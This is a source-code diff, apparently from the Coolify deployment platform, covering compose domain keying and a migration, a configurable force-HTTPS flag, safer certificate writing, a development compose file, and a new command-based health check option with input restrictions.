foreach ($services as $serviceNameKey => $service) {
|
||||
$transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
|
||||
if ($transformedServiceName === $serviceName) {
|
||||
$serviceExists = true;
|
||||
$actualServiceName = $serviceNameKey; // Store the ORIGINAL service name
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Only add domain if the service exists
|
||||
if ($serviceExists) {
|
||||
if ($serviceExists && $actualServiceName) {
|
||||
$domains = collect(json_decode(data_get($resource, 'docker_compose_domains'))) ?? collect([]);
|
||||
$domainExists = data_get($domains->get($serviceName), 'domain');
|
||||
// Use the ORIGINAL service name as the key to avoid collisions
|
||||
$domainExists = data_get($domains->get($actualServiceName), 'domain');
|
||||
|
||||
// Update domain using URL with port if applicable
|
||||
$domainValue = $port ? $urlWithPort : $url;
|
||||
|
||||
if (is_null($domainExists)) {
|
||||
$domains->put($serviceName, [
|
||||
$domains->put($actualServiceName, [
|
||||
'domain' => $domainValue,
|
||||
]);
|
||||
$resource->docker_compose_domains = $domains->toJson();
|
||||
|
|
@ -1077,8 +1080,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
if ($resource->build_pack !== 'dockercompose') {
|
||||
$domains = collect([]);
|
||||
}
|
||||
$changedServiceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
$fqdns = data_get($domains, "$changedServiceName.domain");
|
||||
// Use the original service name for lookup (no transformation needed)
|
||||
$fqdns = data_get($domains, "$serviceName.domain");
|
||||
// Generate SERVICE_FQDN & SERVICE_URL for dockercompose
|
||||
if ($resource->build_pack === 'dockercompose') {
|
||||
foreach ($domains as $forServiceName => $domain) {
|
||||
|
|
@ -1233,7 +1236,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
$serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
domains: $fqdns,
|
||||
is_force_https_enabled: true,
|
||||
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
|
||||
serviceLabels: $serviceLabels,
|
||||
is_gzip_enabled: $originalResource->isGzipEnabled(),
|
||||
is_stripprefix_enabled: $originalResource->isStripprefixEnabled(),
|
||||
|
|
@ -1246,7 +1249,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
network: $network,
|
||||
uuid: $uuid,
|
||||
domains: $fqdns,
|
||||
is_force_https_enabled: true,
|
||||
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
|
||||
serviceLabels: $serviceLabels,
|
||||
is_gzip_enabled: $originalResource->isGzipEnabled(),
|
||||
is_stripprefix_enabled: $originalResource->isStripprefixEnabled(),
|
||||
|
|
@ -1260,7 +1263,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
$serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
domains: $fqdns,
|
||||
is_force_https_enabled: true,
|
||||
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
|
||||
serviceLabels: $serviceLabels,
|
||||
is_gzip_enabled: $originalResource->isGzipEnabled(),
|
||||
is_stripprefix_enabled: $originalResource->isStripprefixEnabled(),
|
||||
|
|
@ -1271,7 +1274,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
network: $network,
|
||||
uuid: $uuid,
|
||||
domains: $fqdns,
|
||||
is_force_https_enabled: true,
|
||||
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
|
||||
serviceLabels: $serviceLabels,
|
||||
is_gzip_enabled: $originalResource->isGzipEnabled(),
|
||||
is_stripprefix_enabled: $originalResource->isStripprefixEnabled(),
|
||||
|
|
|
|||
|
|
@ -77,6 +77,7 @@ function allowedPathsForUnsubscribedAccounts()
|
|||
'login',
|
||||
'logout',
|
||||
'force-password-reset',
|
||||
'two-factor-challenge',
|
||||
'livewire/update',
|
||||
'admin',
|
||||
];
|
||||
|
|
@ -95,6 +96,7 @@ function allowedPathsForInvalidAccounts()
|
|||
'logout',
|
||||
'verify',
|
||||
'force-password-reset',
|
||||
'two-factor-challenge',
|
||||
'livewire/update',
|
||||
];
|
||||
}
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
return [
|
||||
'coolify' => [
|
||||
'version' => '4.0.0-beta.463',
|
||||
'version' => '4.0.0-beta.464',
|
||||
'helper_version' => '1.0.12',
|
||||
'realtime_version' => '1.0.10',
|
||||
'self_hosted' => env('SELF_HOSTED', true),
|
||||
|
|
|
|||
|
|
@ -184,13 +184,13 @@ return [
|
|||
'connection' => 'redis',
|
||||
'balance' => env('HORIZON_BALANCE', 'false'),
|
||||
'queue' => env('HORIZON_QUEUES', 'high,default'),
|
||||
'maxTime' => 3600,
|
||||
'maxTime' => env('HORIZON_MAX_TIME', 0),
|
||||
'maxJobs' => 400,
|
||||
'memory' => 128,
|
||||
'tries' => 1,
|
||||
'nice' => 0,
|
||||
'sleep' => 3,
|
||||
'timeout' => 3600,
|
||||
'timeout' => env('HORIZON_TIMEOUT', 36000),
|
||||
],
|
||||
],
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,101 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
/**
|
||||
* Run the migrations.
|
||||
*/
|
||||
public function up(): void
|
||||
{
|
||||
// Migrate docker_compose_domains to use original service names instead of transformed ones
|
||||
// This fixes collisions between services like "api.test" and "api-test"
|
||||
|
||||
Application::where('build_pack', 'dockercompose')
|
||||
->whereNotNull('docker_compose_domains')
|
||||
->chunk(100, function ($applications) {
|
||||
foreach ($applications as $application) {
|
||||
try {
|
||||
$domains = collect(json_decode($application->docker_compose_domains, true));
|
||||
|
||||
if ($domains->isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse the compose file to get original service names
|
||||
$compose = $application->parseCompose();
|
||||
$services = data_get($compose, 'services', []);
|
||||
|
||||
if (empty($services)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Create a mapping from transformed names to original names
|
||||
$transformedToOriginal = [];
|
||||
foreach ($services as $originalServiceName => $service) {
|
||||
$transformedName = str($originalServiceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
$transformedToOriginal[$transformedName] = $originalServiceName;
|
||||
}
|
||||
|
||||
// Migrate the domains to use original service names
|
||||
$migratedDomains = collect();
|
||||
foreach ($domains as $key => $value) {
|
||||
// If the key is a transformed name, use the original name
|
||||
if (isset($transformedToOriginal[$key])) {
|
||||
$migratedDomains->put($transformedToOriginal[$key], $value);
|
||||
} else {
|
||||
// If we can't find a mapping, keep the original key
|
||||
// (it might already be using the original service name)
|
||||
$migratedDomains->put($key, $value);
|
||||
}
|
||||
}
|
||||
|
||||
// Update the application with migrated domains
|
||||
$application->docker_compose_domains = $migratedDomains->toJson();
|
||||
$application->save();
|
||||
|
||||
} catch (\Exception $e) {
|
||||
// Log the error but continue with other applications
|
||||
logger()->error('Failed to migrate docker_compose_domains for application '.$application->id.': '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Reverse the migrations.
|
||||
*/
|
||||
public function down(): void
|
||||
{
|
||||
// Reverse the migration by transforming service names back
|
||||
Application::where('build_pack', 'dockercompose')
|
||||
->whereNotNull('docker_compose_domains')
|
||||
->chunk(100, function ($applications) {
|
||||
foreach ($applications as $application) {
|
||||
try {
|
||||
$domains = collect(json_decode($application->docker_compose_domains, true));
|
||||
|
||||
if ($domains->isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Transform all keys back to underscore format
|
||||
$transformedDomains = collect();
|
||||
foreach ($domains as $key => $value) {
|
||||
$transformedKey = str($key)->replace('-', '_')->replace('.', '_')->value();
|
||||
$transformedDomains->put($transformedKey, $value);
|
||||
}
|
||||
|
||||
$application->docker_compose_domains = $transformedDomains->toJson();
|
||||
$application->save();
|
||||
|
||||
} catch (\Exception $e) {
|
||||
logger()->error('Failed to reverse migrate docker_compose_domains for application '.$application->id.': '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
/**
|
||||
* Run the migrations.
|
||||
*/
|
||||
public function up(): void
|
||||
{
|
||||
if (! Schema::hasColumn('applications', 'health_check_type')) {
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->text('health_check_type')->default('http')->after('health_check_enabled');
|
||||
});
|
||||
}
|
||||
|
||||
if (! Schema::hasColumn('applications', 'health_check_command')) {
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->text('health_check_command')->nullable()->after('health_check_type');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Reverse the migrations.
|
||||
*/
|
||||
public function down(): void
|
||||
{
|
||||
if (Schema::hasColumn('applications', 'health_check_type')) {
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->dropColumn('health_check_type');
|
||||
});
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('applications', 'health_check_command')) {
|
||||
Schema::table('applications', function (Blueprint $table) {
|
||||
$table->dropColumn('health_check_command');
|
||||
});
|
||||
}
|
||||
}
|
||||
};
|
||||
|
|
@ -21,7 +21,7 @@ class ApplicationSeeder extends Seeder
|
|||
'git_repository' => 'coollabsio/coolify-examples',
|
||||
'git_branch' => 'v4.x',
|
||||
'base_directory' => '/docker-compose',
|
||||
'docker_compose_location' => 'docker-compose-test.yaml',
|
||||
'docker_compose_location' => '/docker-compose-test.yaml',
|
||||
'build_pack' => 'dockercompose',
|
||||
'ports_exposes' => '80',
|
||||
'environment_id' => 1,
|
||||
|
|
|
|||
|
|
@ -26,12 +26,14 @@ class CaSslCertSeeder extends Seeder
|
|||
}
|
||||
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
|
||||
|
||||
$base64Cert = base64_encode($caCert->ssl_certificate);
|
||||
|
||||
$commands = collect([
|
||||
"mkdir -p $caCertPath",
|
||||
"chown -R 9999:root $caCertPath",
|
||||
"chmod -R 700 $caCertPath",
|
||||
"rm -rf $caCertPath/coolify-ca.crt",
|
||||
"echo '{$caCert->ssl_certificate}' > $caCertPath/coolify-ca.crt",
|
||||
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
|
||||
"chmod 644 $caCertPath/coolify-ca.crt",
|
||||
]);
|
||||
|
||||
|
|
|
|||
210
docker-compose-maxio.dev.yml
Normal file
210
docker-compose-maxio.dev.yml
Normal file
|
|
@ -0,0 +1,210 @@
|
|||
services:
|
||||
coolify:
|
||||
image: coolify:dev
|
||||
pull_policy: never
|
||||
build:
|
||||
context: .
|
||||
dockerfile: ./docker/development/Dockerfile
|
||||
args:
|
||||
- USER_ID=${USERID:-1000}
|
||||
- GROUP_ID=${GROUPID:-1000}
|
||||
ports:
|
||||
- "${APP_PORT:-8000}:8080"
|
||||
environment:
|
||||
AUTORUN_ENABLED: false
|
||||
PUSHER_HOST: "${PUSHER_HOST}"
|
||||
PUSHER_PORT: "${PUSHER_PORT}"
|
||||
PUSHER_SCHEME: "${PUSHER_SCHEME:-http}"
|
||||
PUSHER_APP_ID: "${PUSHER_APP_ID:-coolify}"
|
||||
PUSHER_APP_KEY: "${PUSHER_APP_KEY:-coolify}"
|
||||
PUSHER_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}"
|
||||
healthcheck:
|
||||
test: curl -sf http://127.0.0.1:8080/api/health || exit 1
|
||||
interval: 5s
|
||||
retries: 10
|
||||
timeout: 2s
|
||||
volumes:
|
||||
- .:/var/www/html/:cached
|
||||
- dev_backups_data:/var/www/html/storage/app/backups
|
||||
networks:
|
||||
- coolify
|
||||
postgres:
|
||||
pull_policy: always
|
||||
ports:
|
||||
- "${FORWARD_DB_PORT:-5432}:5432"
|
||||
env_file:
|
||||
- .env
|
||||
environment:
|
||||
POSTGRES_USER: "${DB_USERNAME:-coolify}"
|
||||
POSTGRES_PASSWORD: "${DB_PASSWORD:-password}"
|
||||
POSTGRES_DB: "${DB_DATABASE:-coolify}"
|
||||
POSTGRES_HOST_AUTH_METHOD: "trust"
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "pg_isready -U $$POSTGRES_USER -d $$POSTGRES_DB" ]
|
||||
interval: 5s
|
||||
retries: 10
|
||||
timeout: 2s
|
||||
volumes:
|
||||
- dev_postgres_data:/var/lib/postgresql/data
|
||||
redis:
|
||||
pull_policy: always
|
||||
ports:
|
||||
- "${FORWARD_REDIS_PORT:-6379}:6379"
|
||||
env_file:
|
||||
- .env
|
||||
healthcheck:
|
||||
test: redis-cli ping
|
||||
interval: 5s
|
||||
retries: 10
|
||||
timeout: 2s
|
||||
volumes:
|
||||
- dev_redis_data:/data
|
||||
soketi:
|
||||
image: coolify-realtime:dev
|
||||
pull_policy: never
|
||||
build:
|
||||
context: .
|
||||
dockerfile: ./docker/coolify-realtime/Dockerfile
|
||||
env_file:
|
||||
- .env
|
||||
ports:
|
||||
- "${FORWARD_SOKETI_PORT:-6001}:6001"
|
||||
- "6002:6002"
|
||||
volumes:
|
||||
- ./storage:/var/www/html/storage
|
||||
- ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js
|
||||
environment:
|
||||
SOKETI_DEBUG: "false"
|
||||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
|
||||
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}"
|
||||
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}"
|
||||
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ]
|
||||
interval: 5s
|
||||
retries: 10
|
||||
timeout: 2s
|
||||
entrypoint: ["/bin/sh", "/soketi-entrypoint.sh"]
|
||||
vite:
|
||||
image: node:24-alpine
|
||||
pull_policy: always
|
||||
container_name: coolify-vite
|
||||
working_dir: /var/www/html
|
||||
environment:
|
||||
VITE_HOST: "${VITE_HOST:-localhost}"
|
||||
VITE_PORT: "${VITE_PORT:-5173}"
|
||||
ports:
|
||||
- "${VITE_PORT:-5173}:${VITE_PORT:-5173}"
|
||||
volumes:
|
||||
- .:/var/www/html/:cached
|
||||
command: sh -c "npm install && npm run dev"
|
||||
networks:
|
||||
- coolify
|
||||
testing-host:
|
||||
image: coolify-testing-host:dev
|
||||
pull_policy: never
|
||||
build:
|
||||
context: .
|
||||
dockerfile: ./docker/testing-host/Dockerfile
|
||||
init: true
|
||||
container_name: coolify-testing-host
|
||||
volumes:
|
||||
- /var/run/docker.sock:/var/run/docker.sock
|
||||
- dev_coolify_data:/data/coolify
|
||||
- dev_backups_data:/data/coolify/backups
|
||||
- dev_postgres_data:/data/coolify/_volumes/database
|
||||
- dev_redis_data:/data/coolify/_volumes/redis
|
||||
- dev_minio_data:/data/coolify/_volumes/minio
|
||||
networks:
|
||||
- coolify
|
||||
mailpit:
|
||||
image: axllent/mailpit:latest
|
||||
pull_policy: always
|
||||
container_name: coolify-mail
|
||||
ports:
|
||||
- "${FORWARD_MAILPIT_PORT:-1025}:1025"
|
||||
- "${FORWARD_MAILPIT_DASHBOARD_PORT:-8025}:8025"
|
||||
networks:
|
||||
- coolify
|
||||
# maxio:
|
||||
# image: ghcr.io/coollabsio/maxio
|
||||
# pull_policy: always
|
||||
# container_name: coolify-maxio
|
||||
# ports:
|
||||
# - "${FORWARD_MAXIO_PORT:-9000}:9000"
|
||||
# environment:
|
||||
# MAXIO_ACCESS_KEY: "${MAXIO_ACCESS_KEY:-maxioadmin}"
|
||||
# MAXIO_SECRET_KEY: "${MAXIO_SECRET_KEY:-maxioadmin}"
|
||||
# volumes:
|
||||
# - dev_maxio_data:/data
|
||||
# networks:
|
||||
# - coolify
|
||||
minio:
|
||||
image: ghcr.io/coollabsio/minio:RELEASE.2025-10-15T17-29-55Z # Released on 15 October 2025
|
||||
pull_policy: always
|
||||
container_name: coolify-minio
|
||||
command: server /data --console-address ":9001"
|
||||
ports:
|
||||
- "${FORWARD_MINIO_PORT:-9000}:9000"
|
||||
- "${FORWARD_MINIO_PORT_CONSOLE:-9001}:9001"
|
||||
environment:
|
||||
MINIO_ACCESS_KEY: "${MINIO_ACCESS_KEY:-minioadmin}"
|
||||
MINIO_SECRET_KEY: "${MINIO_SECRET_KEY:-minioadmin}"
|
||||
volumes:
|
||||
- dev_minio_data:/data
|
||||
- dev_maxio_data:/data
|
||||
networks:
|
||||
- coolify
|
||||
# maxio-init:
|
||||
# image: minio/mc:latest
|
||||
# pull_policy: always
|
||||
# container_name: coolify-maxio-init
|
||||
# restart: no
|
||||
# depends_on:
|
||||
# - maxio
|
||||
# entrypoint: >
|
||||
# /bin/sh -c "
|
||||
# echo 'Waiting for MaxIO to be ready...';
|
||||
# until mc alias set local http://coolify-maxio:9000 maxioadmin maxioadmin 2>/dev/null; do
|
||||
# echo 'MaxIO not ready yet, waiting...';
|
||||
# sleep 2;
|
||||
# done;
|
||||
# echo 'MaxIO is ready, creating bucket if needed...';
|
||||
# mc mb local/local --ignore-existing;
|
||||
# echo 'MaxIO initialization complete - bucket local is ready';
|
||||
# "
|
||||
# networks:
|
||||
# - coolify
|
||||
minio-init:
|
||||
image: minio/mc:latest
|
||||
pull_policy: always
|
||||
container_name: coolify-minio-init
|
||||
restart: no
|
||||
depends_on:
|
||||
- minio
|
||||
entrypoint: >
|
||||
/bin/sh -c "
|
||||
echo 'Waiting for MinIO to be ready...';
|
||||
until mc alias set local http://coolify-minio:9000 minioadmin minioadmin 2>/dev/null; do
|
||||
echo 'MinIO not ready yet, waiting...';
|
||||
sleep 2;
|
||||
done;
|
||||
echo 'MinIO is ready, creating bucket if needed...';
|
||||
mc mb local/local --ignore-existing;
|
||||
echo 'MinIO initialization complete - bucket local is ready';
|
||||
"
|
||||
networks:
|
||||
- coolify
|
||||
|
||||
volumes:
|
||||
dev_backups_data:
|
||||
dev_postgres_data:
|
||||
dev_redis_data:
|
||||
dev_coolify_data:
|
||||
dev_minio_data:
|
||||
dev_maxio_data:
|
||||
|
||||
networks:
|
||||
coolify:
|
||||
name: coolify
|
||||
external: false
|
||||
|
|
@ -78,6 +78,7 @@ services:
|
|||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
|
||||
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}"
|
||||
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}"
|
||||
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ]
|
||||
interval: 5s
|
||||
|
|
|
|||
|
|
@ -72,6 +72,7 @@ services:
|
|||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
|
||||
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
|
||||
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
|
||||
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
|
||||
interval: 5s
|
||||
|
|
|
|||
|
|
@ -113,6 +113,7 @@ services:
|
|||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
|
||||
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
|
||||
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
|
||||
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
|
||||
interval: 5s
|
||||
|
|
|
|||
13
openapi.json
13
openapi.json
|
|
@ -11024,6 +11024,19 @@
|
|||
"type": "integer",
|
||||
"description": "Health check start period in seconds."
|
||||
},
|
||||
"health_check_type": {
|
||||
"type": "string",
|
||||
"description": "Health check type: http or cmd.",
|
||||
"enum": [
|
||||
"http",
|
||||
"cmd"
|
||||
]
|
||||
},
|
||||
"health_check_command": {
|
||||
"type": "string",
|
||||
"nullable": true,
|
||||
"description": "Health check command for CMD type."
|
||||
},
|
||||
"limits_memory": {
|
||||
"type": "string",
|
||||
"description": "Memory limit."
|
||||
|
|
|
|||
10
openapi.yaml
10
openapi.yaml
|
|
@ -6960,6 +6960,16 @@ components:
|
|||
health_check_start_period:
|
||||
type: integer
|
||||
description: 'Health check start period in seconds.'
|
||||
health_check_type:
|
||||
type: string
|
||||
description: 'Health check type: http or cmd.'
|
||||
enum:
|
||||
- http
|
||||
- cmd
|
||||
health_check_command:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'Health check command for CMD type.'
|
||||
limits_memory:
|
||||
type: string
|
||||
description: 'Memory limit.'
|
||||
|
|
|
|||
|
|
@ -72,6 +72,7 @@ services:
|
|||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
|
||||
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
|
||||
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
|
||||
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
|
||||
interval: 5s
|
||||
|
|
|
|||
|
|
@ -113,6 +113,7 @@ services:
|
|||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
|
||||
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
|
||||
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
|
||||
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
|
||||
interval: 5s
|
||||
|
|
|
|||
|
|
@ -25,7 +25,7 @@
|
|||
<path d="M21 12c-2.4 4 -5.4 6 -9 6c-3.6 0 -6.6 -2 -9 -6c2.4 -4 5.4 -6 9 -6c3.6 0 6.6 2 9 6" />
|
||||
</svg>
|
||||
{{-- Eye-off icon (shown when password is visible) --}}
|
||||
<svg x-show="type === 'text'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
<svg x-cloak x-show="type === 'text'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path stroke="none" d="M0 0h24v24H0z" fill="none" />
|
||||
<path d="M10.585 10.587a2 2 0 0 0 2.829 2.828" />
|
||||
|
|
|
|||
|
|
@ -3,15 +3,11 @@
|
|||
<div>
|
||||
<p class="font-mono font-semibold text-7xl dark:text-warning">419</p>
|
||||
<h1 class="mt-4 font-bold tracking-tight dark:text-white">This page is definitely old, not like you!</h1>
|
||||
<p class="text-base leading-7 dark:text-neutral-300 text-black">Sorry, we couldn't find the page you're looking
|
||||
for.
|
||||
<p class="text-base leading-7 dark:text-neutral-300 text-black">Your session has expired. Please log in again to continue.
|
||||
</p>
|
||||
<div class="flex items-center mt-10 gap-x-2">
|
||||
<a href="{{ url()->previous() }}">
|
||||
<x-forms.button>Go back</x-forms.button>
|
||||
</a>
|
||||
<a href="{{ route('dashboard') }}" {{ wireNavigate() }}>
|
||||
<x-forms.button>Dashboard</x-forms.button>
|
||||
<a href="/login">
|
||||
<x-forms.button>Back to Login</x-forms.button>
|
||||
</a>
|
||||
<a target="_blank" class="text-xs" href="{{ config('constants.urls.contact') }}">Contact
|
||||
support
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
<nav wire:poll.10000ms="checkStatus" class="pb-6">
|
||||
<x-resources.breadcrumbs :resource="$application" :parameters="$parameters" :title="$lastDeploymentInfo" :lastDeploymentLink="$lastDeploymentLink" />
|
||||
<div class="navbar-main">
|
||||
<nav class="flex shrink-0 gap-4 items-center whitespace-nowrap scrollbar min-h-10">
|
||||
<nav class="flex shrink-0 gap-6 items-center whitespace-nowrap scrollbar min-h-10">
|
||||
<a class="{{ request()->routeIs('project.application.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
|
||||
href="{{ route('project.application.configuration', $parameters) }}">
|
||||
Configuration
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@
|
|||
<h1>{{ $title }}</h1>
|
||||
<x-resources.breadcrumbs :resource="$service" :parameters="$parameters" />
|
||||
<div class="navbar-main" x-data">
|
||||
<nav class="flex shrink-0 gap-4 items-center whitespace-nowrap scrollbar min-h-10">
|
||||
<nav class="flex shrink-0 gap-6 items-center whitespace-nowrap scrollbar min-h-10">
|
||||
<a class="{{ request()->routeIs('project.service.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
|
||||
href="{{ route('project.service.configuration', $parameters) }}">
|
||||
<button>Configuration</button>
|
||||
|
|
|
|||
|
|
@ -20,25 +20,51 @@
|
|||
<p>A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.</p>
|
||||
</x-callout>
|
||||
@endif
|
||||
|
||||
{{-- Healthcheck Type Selector --}}
|
||||
<div class="flex gap-2">
|
||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
|
||||
<option value="GET">GET</option>
|
||||
<option value="POST">POST</option>
|
||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckType" label="Type" required wire:model.live="healthCheckType">
|
||||
<option value="http">HTTP</option>
|
||||
<option value="cmd">CMD</option>
|
||||
</x-forms.select>
|
||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckScheme" label="Scheme" required>
|
||||
<option value="http">http</option>
|
||||
<option value="https">https</option>
|
||||
</x-forms.select>
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckHost" placeholder="localhost" label="Host" required />
|
||||
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckPort"
|
||||
helper="If no port is defined, the first exposed port will be used." placeholder="80" label="Port" />
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckPath" placeholder="/health" label="Path" required />
|
||||
</div>
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckReturnCode" placeholder="200" label="Return Code"
|
||||
required />
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
|
||||
</div>
|
||||
|
||||
@if ($healthCheckType === 'http')
|
||||
{{-- HTTP Healthcheck Fields --}}
|
||||
<div class="flex gap-2">
|
||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
|
||||
<option value="GET">GET</option>
|
||||
<option value="POST">POST</option>
|
||||
</x-forms.select>
|
||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckScheme" label="Scheme" required>
|
||||
<option value="http">http</option>
|
||||
<option value="https">https</option>
|
||||
</x-forms.select>
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckHost" placeholder="localhost" label="Host" required />
|
||||
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckPort"
|
||||
helper="If no port is defined, the first exposed port will be used." placeholder="80" label="Port" />
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckPath" placeholder="/health" label="Path" required />
|
||||
</div>
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckReturnCode" placeholder="200" label="Return Code"
|
||||
required />
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
|
||||
</div>
|
||||
@else
|
||||
{{-- CMD Healthcheck Fields --}}
|
||||
<x-callout type="warning" title="Caution">
|
||||
<p>This command runs inside the container on every health check interval. Shell operators (;, |, &, $, >, <) are not allowed.</p>
|
||||
</x-callout>
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckCommand"
|
||||
label="Command"
|
||||
placeholder="pg_isready -U postgres"
|
||||
helper="A simple command to run inside the container. Must exit with code 0 on success. Shell operators like ;, |, &&, $() are not allowed."
|
||||
:required="$healthCheckType === 'cmd'" />
|
||||
</div>
|
||||
@endif
|
||||
|
||||
{{-- Common timing fields (used by both types) --}}
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input canGate="update" :canResource="$resource" min="1" type="number" id="healthCheckInterval" placeholder="30"
|
||||
label="Interval (s)" required />
|
||||
|
|
@ -49,4 +75,4 @@
|
|||
label="Start Period (s)" required />
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</form>
|
||||
|
|
|
|||
|
|
@ -27,6 +27,22 @@
|
|||
